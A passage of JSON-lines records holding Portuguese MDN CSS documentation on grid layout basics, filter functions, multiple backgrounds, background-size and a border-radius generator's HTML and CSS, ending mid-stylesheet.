linha - ao invés do rastro.\n\nNesse exemplo eu estou posicionando os primeiros dois itens do nosso grid de três colunas, usando as propriedades `grid-column-start` (en-US), `grid-column-end` (en-US), `grid-row-start` (en-US) e `grid-row-end` (en-US). Da esquerda para a direita, o primeiro item é posicionado contra a linha da coluna 1, e vai até a linha da coluna 4, que no nosso caso é a linha do extremo direito do grid. Começa na linha 1 e termina na linha 3, tendo uma expansão de duas linhas.\n\nO segundo item inicia na linha da coluna 1, e expande uma linha. Esse é o padrão, então não preciso especificar a linha final. Também vai da linha 3 a linha 5. Os outros itens serão posicionados de acordo com espaço disponível no grid.\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box1\">One</div>\n  <div class=\"box2\">Two</div>\n  <div class=\"box3\">Three</div>\n  <div class=\"box4\">Four</div>\n  <div class=\"box5\">Five</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  grid-auto-rows: 100px;\n}\n.box1 {\n  grid-column-start: 1;\n  grid-column-end: 4;\n  grid-row-start: 1;\n  grid-row-end: 3;\n}\n.box2 {\n  grid-column-start: 1;\n  grid-row-start: 3;\n  grid-row-end: 5;\n}\n```\n\n\n```\n\\* {\n  box-sizing: border-box;\n}\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n.nested {\n  border: 2px solid #ffec99;\n  border-radius: 5px;\n  background-color: #fff9db;\n  padding: 1em;\n}\n```\n\n\nNão esqueça que o Grid Inspector pode ser usado no Firefox Developer Tools para ver como os itens estão posicionados no grid.\n\nCélulas do grid\n---------------\n\nUma célula de grid é a menor unidade em um grid. Conceitualmente é como se fosse uma célula de tabela. Como vimos em nossos exemplos anteriores, uma vez que o grid é definido como o pai os itens filhos serão organizados cada um em uma célula do grid definido. Na imagem abaixo, temos destacado a primeira célula do grid.\n\n![The first cell of the grid highlighted](/pt-BR/docs/Web/CSS/CSS_grid_layout/Basic_concepts_of_grid_layout/1_grid_cell.png)\n\nÁreas do grid\n-------------\n\nItens podem se espalhar por uma ou mais células ambas entre linhas ou colunas, e isto cria uma *área de grid.* Áreas de grid devem ser retangulares – não é possível criar uma área em L por exemplo. A área destacada se espalha por duas trilhas de linhas e duas trilhas de colunas.\n\n![A grid area](/pt-BR/docs/Web/CSS/CSS_grid_layout/Basic_concepts_of_grid_layout/1_grid_area.png)\n\nGutters\n-------\n\n*Gutters* ou *alleys* (espaçamentos ou separadores) entre células do grid podem ser criadas usando a propriedade `grid-column-gap` (en-US) e `grid-row-gap` (en-US) ou de forma resumida `grid-gap` (en-US). No exemplo abaixo, criamos um espaço vazio de 10 pixels entre colunas e um espaço vazio de `1em` entre linhas.\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  grid-column-gap: 10px;\n  grid-row-gap: 1em;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div>One</div>\n  <div>Two</div>\n  <div>Three</div>\n  <div>Four</div>\n  <div>Five</div>\n</div>\n```\n\n\n```\n\\* {\n  box-sizing: border-box;\n}\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n.nested {\n  border: 2px solid #ffec99;\n  border-radius: 5px;\n  background-color: #fff9db;\n  padding: 1em;\n}\n```\n\n\nQualquer espaço utilizado entre espaços vazios ou *gaps* deverá ser considerado antes do espaço ser designado para as trilhas de tamanho flexível `fr` , e *gaps* agem para propósitos de tamanho como uma trilha de grid normal, entretanto você não pode colocar coisa alguma em um *gap* Em termos de posicionamento baseado em linhas, o *gap* age como uma linha preenchida (*fat line*).\n\nAninhando grids\n---------------\n\nUm item de grid pode se tornar um container de grid. No exemplo a seguir, temos o grid de três colunas criadas anteriormente, com nossos dois itens posicionados. Neste caso o primeiro item possui dois sub itens. Como estes itens não são filhos diretos do grid eles não participam no layout do grid e dessa forma são exibidos no fluxo normal do documento.\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box box1\">\n    <div class=\"nested\">a</div>\n    <div class=\"nested\">b</div>\n    <div class=\"nested\">c</div>\n  </div>\n  <div class=\"box box2\">Two</div>\n  <div class=\"box box3\">Three</div>\n  <div class=\"box box4\">Four</div>\n  <div class=\"box box5\">Five</div>\n</div>\n```\n\n\n![Nested grid in flow](/pt-BR/docs/Web/CSS/CSS_grid_layout/Basic_concepts_of_grid_layout/1_nested_grids_in_flow.png)\n\nSe definimos `box1` como `display: grid` podemos dar uma definição de tracks e ela também se tornará uma grid. Os itens então são dispostos nesse novo grid.\n\n\n```css\n.box1 {\n  grid-column-start: 1;\n  grid-column-end: 4;\n  grid-row-start: 1;\n  grid-row-end: 3;\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n}\n```\n\n\n```\n\\* {\n  box-sizing: border-box;\n}\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n.box {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n.nested {\n  border: 2px solid #ffec99;\n  border-radius: 5px;\n  background-color: #fff9db;\n  padding: 1em;\n}\n```\n\n\nNesse caso o grid aninhado não possui relação com o pai. Como é possível perceber no exemplo ele não herdou o `grid-gap` (en-US) do pai e as linhas no grid aninhado não estão alinhadas com as linhas do grid pai.\n\n### Subgrid\n\nNo nível das especificações do grid tem uma *feature* chamada *subgrid* que nos permitiria criar grids aninhados que usa aquilo que foi definido no grid pai.\n\n**Nota:** Subgrids ainda não foram implementados em nenhum browser, e as especificações são sujeitas a mudanças.\n\nNa especificação atual, no exemplo acima editaríamos o grid aninhado usando `display: subgrid` ao invés de `display: grid`, e remover o que havia sido definido. O grid aninhado vai usar as propriedades definidas no pai para dispor os itens.\n\nNote que o grid aninhado está nas duas dimensões — linhas e colunas. Não há garantia de que o grid implícito funcione com subgrid. Por isso é necessário que haja certeza de que o grid pai tem linhas e colunas suficientes para todos os sub itens.\n\n\n```css\n.box1 {\n  grid-column-start: 1;\n  grid-column-end: 4;\n  grid-row-start: 1;\n  grid-row-end: 3;\n  display: subgrid;\n}\n```\n\nSobrepondo itens com `z-index`\n------------------------------\n\nItens de uma mesma grade podem ocupar uma mesma célula. Se retornarmos ao nosso exemplo com itens dispostos pela linha, podemos fazer com que dois se sobreponham.\n\n\n```html\n<div class=\"wrapper\">\n  <div class=\"box box1\">One</div>\n  <div class=\"box box2\">Two</div>\n  <div class=\"box box3\">Three</div>\n  <div class=\"box box4\">Four</div>\n  <div class=\"box box5\">Five</div>\n</div>\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  grid-auto-rows: 100px;\n}\n.box1 {\n  grid-column-start: 1;\n  grid-column-end: 4;\n  grid-row-start: 1;\n  grid-row-end: 3;\n}\n.box2 {\n  grid-column-start: 1;\n  grid-row-start: 2;\n  grid-row-end: 4;\n}\n```\n\n\n```\n\\* {\n  box-sizing: border-box;\n}\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n.box {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n.nested {\n  border: 2px solid #ffec99;\n  border-radius: 5px;\n  background-color: #fff9db;\n  padding: 1em;\n}\n```\n\n\nO container `box2` está sobrepondo `box1`, é renderizado acima pois vem depois na ordem.\n\n### Manipulando a ordem\n\nPodemos controlar a ordem na qual os itens irão empilhar-se usando a propriedade `z-index`. Se `box2` recebe um `z-index` menor que `box1` será mostrado abaixo de `box1`.\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  grid-auto-rows: 100px;\n}\n.box1 {\n  grid-column-start: 1;\n  grid-column-end: 4;\n  grid-row-start: 1;\n  grid-row-end: 3;\n  z-index: 2;\n}\n.box2 {\n  grid-column-start: 1;\n  grid-row-start: 2;\n  grid-row-end: 4;\n  z-index: 1;\n}\n```\n\n\n```\n<div class=\"wrapper\">\n  <div class=\"box box1\">One</div>\n  <div class=\"box box2\">Two</div>\n  <div class=\"box box3\">Three</div>\n  <div class=\"box box4\">Four</div>\n  <div class=\"box box5\">Five</div>\n</div>\n```\n\n\n```\n\\* {\n  box-sizing: border-box;\n}\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n.box {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n.nested {\n  border: 2px solid #ffec99;\n  border-radius: 5px;\n  background-color: #fff9db;\n  padding: 1em;\n}\n```\n\nPróximos Passos\n---------------\n\nNesse artigo abordamos um pouco da especificação do Grid Layout. Pratique com os exemplos propostos, depois disso passe para a próxima parte onde estudaremos mais a fundo o CSS Grid Layout.\n\n1. **CSS**\n2. **CSS Reference**\n3. CSS Grid Layout\n4. **Guias**\n    1. Basics concepts of grid layout\n    2. Relationship to other layout methods\n    3. Line-based placement (en-US)\n    4. Grid template areas (en-US)\n    5. Layout using named grid lines (en-US)\n    6. Auto-placement in grid layout (en-US)\n    7. Box alignment in grid layout (en-US)\n    8. Grids, logical values and writing modes (en-US)\n    9. CSS Grid Layout and Accessibility (en-US)\n    10. CSS Grid Layout and Progressive Enhancement (en-US)\n    11. Realizing common layouts using grids (en-US)\n5. **Propriedades**\n    1. grid\n    2. grid-area (en-US)\n    3. grid-auto-columns (en-US)\n    4. grid-auto-flow\n    5. grid-auto-rows (en-US)\n    6. grid-column (en-US)\n    7. grid-column-end (en-US)\n    8. grid-column-gap (en-US)\n    9. grid-column-start (en-US)\n    10. grid-gap (en-US)\n    11. grid-row (en-US)\n    12. grid-row-end (en-US)\n    13. grid-row-gap (en-US)\n    14. grid-row-start (en-US)\n    15. grid-template (en-US)\n    16. grid-template-areas (en-US)\n    17. grid-template-colunms\n    18. grid-template-rows\n6. **Glossário**\n    1. Grid lines (en-US)\n    2. Grid tracks (en-US)\n    3. Grid cell (en-US)\n    4. Grid areas\n    5. Gutters (en-US)\n    6. Grid row (en-US)\n    7. Grid column (en-US)"}
{"title":"grayscale() - CSS","text":"grayscale()\n===========\n\nO **`grayscale()`** é uma função do CSS que modifica a imagem adicionada para as cores branco e preto . Esse resultado é um efeito \"filtro\". `<filter-function>` (en-US).\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ngrayscale(quantidade)\n```\n\n### Parâmetros\n\n`quantidade`\n\nA quantia da conversão é especificada em `<number>` (número) ou `<percentage>` (en-US) (porcentagem). Um valor de `100%` indica que a cor está compeltamente dentro da escala de cinza. Um valor de `0%` não altera as cores da imagem, que permanecerá igual a original. Valores entre `0%` e `100%` são multiplicadores lineares no efeito cinza, modificando a escala de cores conforme a quantidade determinada. A quantia em número é equivalente a em porcentagem.\n\n\n```css\ngrayscale(0)     /\\* Não afeta a imagem \\*/\ngrayscale(.7)    /\\* .7 => 70% de branco&preto \\*/\ngrayscale(100%)  /\\* Completamente em branco&preto \\*/\n```\n\nVeja também\n-----------\n\n* `<filter-function>` (en-US)"}
{"title":"opacity() - CSS","text":"opacity()\n=========\n\nA função CSS **`opacity()`** aplica transparência às amostras na imagem inputada. Seu resultado é uma `<filter-function>` (en-US).\n\n**Nota:** Essa função é similar à propriedade `opacity` mais estabelecida. A diferença é que com filtros, alguns browsers fornecem aceleração de hardware para uma melhor performance.\n\nSintaxe\n-------\n```\n\nopacity(amount)\n```\n\n### Parâmetros\n\n`amount`\n\nA quantidade de conversão, especificada com um `<number>` ou uma `<percentage>` (en-US). Um valor de `0%` é completamente transparente, enquanto que um valor de `100%` mantém o input inalterado. Valores entre `0%` e `100%` são multiplicadores lineares do efeito. O valor de lacuna para interpolação é `1`.\n\nExemplos\n--------\n\n\n```css\nopacity(0%)   /\\* Completamente transparente \\*/\nopacity(50%)  /\\* 50% transparente \\*/\nopacity(1)    /\\* Nenhum efeito \\*/\n```\n\nVer também\n----------\n\n* `<filter-function>` (en-US)\n* Propriedade CSS `opacity`"}
{"title":"sepia() - CSS","text":"sepia()\n=======\n\nA função CSS **`sepia()`** converte a imagem inputada em sépia, dando uma aparência mais amarelada/marrom e quente. Seu resultado é uma `<filter-function>` (en-US).\n\nSintaxe\n-------\n```\n\nsepia(amount)\n```\n\n### Parâmetros\n\n`amount`\n\nA quantidade de conversão, especificada por um `<number>` ou uma `<percentage>` (en-US). Um valor de `100%` é completamente sépia, enquanto que um valor de `0%` mantém o input inalterado. Valores entre `0%` e `100%` são multiplicadores lineares do efeito. O valor de lacuna para interpolação é `0`.\n\nExemplos\n--------\n\n\n```css\nsepia(0)     /\\* Sem efeito \\*/\nsepia(.65)   /\\* 65% sépia \\*/\nsepia(100%)  /\\* Completamente sépia \\*/\n```\n\nVer também\n----------\n\n* `<filter-function>` (en-US)"}
{"title":"Gerador de Border-image - CSS","text":"Gerador de Border-image\n=======================\n\nEsta ferramenta pode ser utilizada para gerar o valor `border-image` (en-US) em CSS3."}
{"title":"Multiple backgrounds - CSS","text":"Multiple backgrounds\n====================\n\nCom CSS3, você pode aplicar aos elementos multiplos planos de fundo. Estes ficam em camadas empilhadas uma acima da outra onde o o primeiro fundo dado será desenhado no topo e apenas o último fundo da lista poderá definir uma cor sólida de fundo.\n\nEspecificar planos de fundo múltplos é fácil:\n\n\n```css\n.minhaClasse {\n  background: fundo1, fundo2, ..., fundoN;\n}\n```\n\n\nVocê pode fazer isso com a propriedade reduzida `background` e também com as propriedade individuais, com a excessão de `background-color`. Isto é, as seguintes propriedades de plano de fundo podem ser especificadas com uma lista, uma por fundo: `background`, `background-attachment`, `background-clip`, `background-image` (en-US), `background-origin`, `background-position` (en-US), `background-repeat` (en-US), `background-size`.\n\nExemplo\n-------\n\nNeste exemplo, três planos de fundos estão empilhados: o logo do Firefox, um degradê linear, e uma imagem com flores:\n\n\n```css\n.multi\\_bg\\_example {\n  background:\n    url(http://demos.hacks.mozilla.org/openweb/resources/images/logos/firefox-48.png),\n    -moz-linear-gradient(left, rgba(255, 255, 255, 0), rgba(255, 255, 255, 1)),\n    url(http://demos.hacks.mozilla.org/openweb/resources/images/patterns/flowers-pattern.jpg);\n  background-repeat: no-repeat, no-repeat, repeat;\n  background-position:\n    bottom right,\n    left,\n    right;\n}\n```\n\n\n| Captura de Tela | Demonstração |\n| --- | --- |\n| css_multibg.png |  |\n\nComo pode ver, o logo do firefox (listado primeiro) está no topo, seguido do gradiente que está uma camada acima do fundo florido. Cada uma das sub-propriedade subsequente, (`background-repeat` (en-US) e `background-position` (en-US)) se aplicam aos fundos correspondentes. Então o primeiro valor para `background-repeat` (en-US) se aplica ao primeiro plano de fundo (o mais da frente), e assim por adiante.\n\nVeja também\n-----------\n\n* Usando degradês"}
{"title":"Alterando a escala das imagens de background - CSS","text":"Alterando a escala das imagens de background\n============================================\n\nA propriedade CSS `background-size` possibilita o ajuste das imagens do background, ao invés do comportamento padrão do navegador de mostrar a imagem no seu tamanho real. Você pode tanto aumentar como diminuir a imagem.\n\nDuplicando uma imagem grande\n----------------------------\n\nVamos considerar uma imagem grande, a image da logo do Firefox com 2982x2808 . Nós queremos (por alguma razão, envolvendo um site com um design ruim) quatro cópia desta imagem em um quadrado de 300x300 pixel, resultando nesse visual:\n\n![](/pt-BR/docs/Web/CSS/CSS_backgrounds_and_borders/Resizing_background_images/ss1.png)\n\nIsto pode ser conseguido usando o seguinte CSS:\n\n\n```css\n.square {\n  width: 300px;\n  height: 300px;\n  background-image: url(firefox\\_logo.png);\n  border: solid 2px;\n  text-shadow: white 0px 0px 2px;\n  font-size: 16px;\n  background-size: 150px;\n}\n```\n\n\nO `background-size` não precisa mais de nenhum prefixo, mas você pode considerar a adição de uma versão pré-fixada se você está focando em browsers muito antigos.\n\nEsticando uma imagem\n--------------------\n\nVocê também pode especificar ambos os tamanhos, horizontal e vertical da imagem, assim:\n\n\n```css\nbackground-size: 300px 150px;\n```\n\n\nO resultado fica assim:\n\n![](/pt-BR/docs/Web/CSS/CSS_backgrounds_and_borders/Resizing_background_images/ss2.png)\n\nAumentando escala de uma imagem\n-------------------------------\n\nNa outra extremidade do espectro, é possível dimensionar-se uma imagem no fundo. Aqui nós aumentamos a escala de um favicon de pixel 32x32 para 300x300 pixels:\n\n![](/pt-BR/docs/Web/CSS/CSS_backgrounds_and_borders/Resizing_background_images/ss3.png)\n\n\n```css\n.square2 {\n  width: 300px;\n  height: 300px;\n  background-image: url(favicon.png);\n  background-size: 300px;\n  border: solid 2px;\n  text-shadow: white 0px 0px 2px;\n  font-size: 16px;\n}\n```\n\n\nComo você pode ver, o CSS é, na verdade, essencialmente idêntico, salvo o nome do arquivo de imagem.\n\nValores especiais: \"contain\" e \"cover\"\n--------------------------------------\n\nDa mesma maneira que o `<length>` (en-US), a propriedade CSS de `background-size` oferece dois valores de tamanho especial, contain e cover. Vamos dar uma olhada nestes.\n\n### `contain`\n\nO valor contain especifica que, independentemente do tamanho da caixa que contém, a imagem de fundo deve ser dimensionado de modo a que cada lado seja tão grande quanto possível ao mesmo tempo que não exceda o comprimento do lado correspondente do recipiente. Tente redimensionar a janela usando um navegador que suporta imagens de fundo de escala (como o Firefox 3.6 ou posterior) para ver isso em ação no exemplo vivo abaixo.\n\n\n```html\n<div class=\"bgSizeContain\">\n  <p>Tente redimensionar a janela e ver o que acontece.</p>\n</div>\n```\n\n\n\n```css\n.bgSizeContain {\n  height: 200px;\n  background-image: url(firefox\\_logo.png);\n  background-size: contain;\n  border: 2px solid darkgray;\n  color: #000;\n  text-shadow: 1px 1px 0 #fff;\n}\n```\n\n### `cover`\n\nO valor cover especifica que a imagem de fundo deve ser dimensionado de modo que seja tão pequena quanto possível ao mesmo tempo assegurar que ambas as dimensões são maiores do que ou igual à dimensão correspondente do recipiente.\n\nOs exemplos à seguir usam HTML & CSS:\n\n\n```html\n<div class=\"bgSizeCover\">\n  <p>Tente redimensionar a janela e ver o que acontece.</p>\n</div>\n```\n\n\n\n```css\n.bgSizeCover {\n  height: 200px;\n  background-image: url('firefox\\_logo.png');\n  background-size: cover;\n  border: 2px solid darkgray;\n  color: #000; text-shadow: 1px 1px 0 #fff;\n```\n\nVeja Também\n-----------\n\n* `background-size`\n* `background`"}
{"title":"Gerador de Border-radius - CSS","text":"Gerador de Border-radius\n========================\n\nEsta ferramenta pode ser utilizada para gerar o efeito `border-radius` (en-US) em CSS3.\n```\n\n<div id=\"container\">\n  <div class=\"group section\">\n    <div id=\"preview\" class=\"col span\\_12\">\n      <div id=\"subject\">\n        <div\n id=\"top-left\"\n class=\"radius-container\"\n data-X=\"left\"\n data-Y=\"top\"></div>\n        <div\n id=\"top-right\"\n class=\"radius-container\"\n data-X=\"right\"\n data-Y=\"top\"></div>\n        <div\n id=\"bottom-right\"\n class=\"radius-container\"\n data-X=\"right\"\n data-Y=\"bottom\"></div>\n        <div\n id=\"bottom-left\"\n class=\"radius-container\"\n data-X=\"left\"\n data-Y=\"bottom\"></div>\n\n        <div id=\"radius-ui-sliders\">\n          <div\n id=\"tlr\"\n class=\"ui-input-slider\"\n data-topic=\"top-left\"\n data-unit=\" px\"\n data-sensivity=\"2\"></div>\n\n          <div\n id=\"tlw\"\n class=\"ui-input-slider\"\n data-topic=\"top-left-w\"\n data-unit=\" px\"\n data-sensivity=\"2\"></div>\n\n          <div\n id=\"tlh\"\n class=\"ui-input-slider\"\n data-topic=\"top-left-h\"\n data-unit=\" px\"\n data-sensivity=\"2\"></div>\n\n          <div\n id=\"trr\"\n class=\"ui-input-slider\"\n data-topic=\"top-right\"\n data-unit=\" px\"\n data-sensivity=\"2\"></div>\n\n          <div\n id=\"trw\"\n class=\"ui-input-slider\"\n data-topic=\"top-right-w\"\n data-unit=\" px\"\n data-sensivity=\"2\"></div>\n\n          <div\n id=\"trh\"\n class=\"ui-input-slider\"\n data-topic=\"top-right-h\"\n data-unit=\" px\"\n data-sensivity=\"2\"></div>\n\n          <div\n id=\"brr\"\n class=\"ui-input-slider\"\n data-topic=\"bottom-right\"\n data-unit=\" px\"\n data-sensivity=\"2\"></div>\n\n          <div\n id=\"brw\"\n class=\"ui-input-slider\"\n data-topic=\"bottom-right-w\"\n data-unit=\" px\"\n data-sensivity=\"2\"></div>\n\n          <div\n id=\"brh\"\n class=\"ui-input-slider\"\n data-topic=\"bottom-right-h\"\n data-unit=\" px\"\n data-sensivity=\"2\"></div>\n\n          <div\n id=\"blr\"\n class=\"ui-input-slider\"\n data-topic=\"bottom-left\"\n data-unit=\" px\"\n data-sensivity=\"2\"></div>\n\n          <div\n id=\"blw\"\n class=\"ui-input-slider\"\n data-topic=\"bottom-left-w\"\n data-unit=\" px\"\n data-sensivity=\"2\"></div>\n\n          <div\n id=\"blh\"\n class=\"ui-input-slider\"\n data-topic=\"bottom-left-h\"\n data-unit=\" px\"\n data-sensivity=\"2\"></div>\n        </div>\n      </div>\n    </div>\n  </div>\n  <div id=\"controls\" class=\"group section\">\n    <div class=\"group section\">\n      <div id=\"dimensions\">\n        <div\n class=\"ui-input-slider\"\n data-topic=\"width\"\n data-info=\"width\"\n data-unit=\" px\"\n data-min=\"150\"\n data-max=\"700\"\n data-sensivity=\"1\"></div>\n\n        <div\n class=\"ui-input-slider\"\n data-topic=\"height\"\n data-info=\"height\"\n data-unit=\" px\"\n data-min=\"75\"\n data-max=\"350\"\n data-sensivity=\"1\"></div>\n      </div>\n\n      <div id=\"output\"></div>\n    </div>\n\n    <div class=\"group section\">\n      <div id=\"radius-lock\">\n        <div class=\"info\">rounded corner</div>\n        <div class=\"ui-checkbox\" data-topic=\"top-left\"></div>\n        <div class=\"ui-checkbox\" data-topic=\"top-right\"></div>\n        <div class=\"ui-checkbox\" data-topic=\"bottom-right\"></div>\n        <div class=\"ui-checkbox\" data-topic=\"bottom-left\"></div>\n      </div>\n\n      <div id=\"unit-selection\">\n        <div class=\"info\">select border units</div>\n      </div>\n    </div>\n  </div>\n</div>\n```\n\n\n```\n/\\* GRID OF TEN\n \\* ========================================================================== \\*/\n\n.span\\_12 {\n  width: 100%;\n}\n\n.span\\_11 {\n  width: 91.46%;\n}\n\n.span\\_10 {\n  width: 83%;\n}\n\n.span\\_9 {\n  width: 74.54%;\n}\n\n.span\\_8 {\n  width: 66.08%;\n}\n\n.span\\_7 {\n  width: 57.62%;\n}\n\n.span\\_6 {\n  width: 49.16%;\n}\n\n.span\\_5 {\n  width: 40.7%;\n}\n\n.span\\_4 {\n  width: 32.24%;\n}\n\n.span\\_3 {\n  width: 23.78%;\n}\n\n.span\\_2 {\n  width: 15.32%;\n}\n\n.span\\_1 {\n  width: 6.86%;\n}\n\n/\\* SECTIONS\n \\* ========================================================================== \\*/\n\n.section {\n  clear: both;\n  padding: 0px;\n  margin: 0px;\n}\n\n/\\* GROUPING\n \\* ========================================================================== \\*/\n\n.group:before,\n.group:after {\n  content: \"\";\n  display: table;\n}\n\n.group:after {\n  clear: both;\n}\n\n.group {\n  zoom: 1; /\\* For IE 6/7 (trigger hasLayout) \\*/\n}\n\n/\\* GRID COLUMN SETUP\n \\* ========================================================================== \\*/\n\n.col {\n  display: block;\n  float: left;\n  margin: 1% 0 1% 1.6%;\n}\n\n.col:first-child {\n  margin-left: 0;\n} /\\* all browsers except IE6 and lower \\*/\n\n/\\*\n \\* UI Component\n \\*/\n\n.ui-input-slider-container {\n  height: 20px;\n  margin: 10px 0;\n  font-family: \"Segoe UI\", Arial, Helvetica, sans-serif;\n  -moz-user-select: none;\n  user-select: none;\n}\n\n.ui-input-slider-container \\* {\n  float: left;\n  height: 100%;\n  line-height: 100%;\n}\n\n/\\* Input Slider \\*/\n\n.ui-input-slider > input {\n  margin: 0;\n  padding: 0;\n  width: 50px;\n  text-align: center;\n\n  -moz-box-sizing: border-box;\n  -webkit-box-sizing: border-box;\n  box-sizing: border-box;\n}\n\n.ui-input-slider-info {\n  width: 90px;\n  padding: 0px 10px 0px 0px;\n  text-align: right;\n  text-transform: lowercase;\n}\n\n.ui-input-slider-left,\n.ui-input-slider-right {\n  width: 16px;\n  cursor: pointer;\n  background: url(\"arrows.png\") center left no-repeat;\n}\n\n.ui-input-slider-right {\n  background: url(\"arrows.png\") center right no-repeat;\n}\n\n.ui-input-slider-name {\n  width: 90px;\n  padding: 0 10px 0 0;\n  text-align: right;\n  text-transform: lowercase;\n}\n\n.ui-input-slider-btn-set {\n  width: 25px;\n  background-color: #2c9fc9;\n  border-radius: 5px;\n  color: #fff;\n  font-weight: bold;\n  line-height: 14px;\n  text-align: center;\n}\n\n.ui-input-slider-btn-set:hover {\n  background-color: #379b4a;\n  cursor: pointer;\n}\n\n/\\*\n \\* UI Component\n \\*/\n\n/\\* Checkbox \\*/\n\n.ui-checkbox {\n  text-align: center;\n  font-size: 16px;\n  font-family: \"Segoe UI\", Arial, Helvetica, sans-serif;\n  line-height: 1.5em;\n  color: #fff;\n\n  -moz-user-select: none;\n  -webkit-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n}\n\n.ui-checkbox > input {\n  display: none;\n}\n\n.ui-checkbox > label {\n  font-size: 12px;\n  padding: 0.333em 1.666em 0.5em;\n  height: 1em;\n  line-height: 1em;\n\n  background-color: #888;\n  background-image: url(\"disabled.png\");\n  background-position: center center;\n  background-repeat: no-repeat;\n\n  color: #fff;\n  border-radius: 3px;\n  font-weight: bold;\n  float: left;\n}\n\n.ui-checkbox .text {\n  padding-left: 34px;\n  background-position: center left 10px;\n}\n\n.ui-checkbox .left {\n  padding-right: 34px;\n  padding-left: 1.666em;\n  background-position: center right 10px;\n}\n\n.ui-checkbox > label:hover {\n  cursor: pointer;\n}\n\n.ui-checkbox > input:checked + label {\n  background-image: url(\"checked.png\");\n  background-color: #379b4a;\n}\n\nbody {\n  max-width: 1000px;\n  margin: 0 auto;\n\n  font-family: \"Segoe UI\", Arial, Helvetica, sans-serif;\n\n  -moz-box-sizing: border-box;\n  -webkit-box-sizing: border-box;\n  box-sizing: border-box;\n\n  -moz-user-select: none;\n  -webkit-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n}\n\n#container {\n  width: 100%;\n\n  -moz-box-sizing: border-box;\n  -webkit-box-sizing: border-box;\n  box-sizing: border-box;\n}\n\n/\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*/\n/\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*/\n/\\*\n \\* Preview Area\n \\*/\n\n#preview {\n  height: 500px;\n  border: 1px solid #ccc;\n  border-radius: 3px;\n  text-align: center;\n  overflow: hidden;\n  position: relative;\n}\n\n#preview .content {\n  width: 100%;\n  height: 100%;\n  display: block;\n}\n\n#preview input {\n  color: #333;\n  border: 1px solid #ccc;\n  border-radius: 3px;\n}\n\n#subject {\n  width: 400px;\n  height: 150px;\n  margin: 0 auto;\n  border: 3px solid #c60;\n  background: #fff;\n  position: relative;\n}\n\n.radius {\n  width: 50%;\n  height: 50%;\n  border: 1px solid #ccc;\n  display: none;\n  position: absolute;\n  z-index: 1;\n  -moz-box-sizing: border-box;\n  -webkit-box-sizing: border-box;\n  box-sizing: border-box;\n}\n\n.handle {\n  width: 16px;\n  height: 16px;\n  position: absolute;\n  z-index: 2;\n}\n\n.handle-top-left {\n  top: -12px;\n  left: -12px;\n  cursor: se-resize;\n  background: url(\"resize-handle.png\") top left no-repeat;\n}\n\n.handle-top-right {\n  top: -12px;\n  right: -12px;\n  cursor: sw-resize;\n  background: url(\"resize-handle.png\") top right no-repeat;\n}\n\n.handle-bottom-right {\n  bottom: -12px;\n  right: -12px;\n  cursor: nw-resize;\n  background: url(\"resize-handle.png\") bottom right no-repeat;\n}\n\n.handle-bottom-left {\n  bottom: -12px;\n  left: -12px;\n  cursor: ne-resize;\n  background: url(\"resize-handle.png\") bottom left no-repeat;\n}\n\n.radius-container {\n  position: absolute;\n  display: block;\n  z-index: 1;\n\n  -moz-box-sizing: border-box;\n  -webkit-box-sizing: border-box;\n  box-sizing: border-box;\n}\n\n/\\* TOP LEFT \\*/\n#top-left {\n  top: 0;\n  left: 0;\n}\n\n#top-left .radius {\n  border-top-left-radius: 100%;\n  top: 0;\n  left: 0;\n}\n\n/\\* TOP RIGHT \\*/\n#top-right {\n  top: 0;\n  right: 0;\n}\n\n#top-right .radius {\n  border-top-right-radius: 100%;\n  top: 0;\n  right: 0;\n}\n\n/\\* BOTTOM RIGHT \\*/\n#bottom-right {\n  bottom: 0;\n  right: 0;\n}\n\n#bottom-right .radius {\n  border-bottom-right-radius: 100%;\n  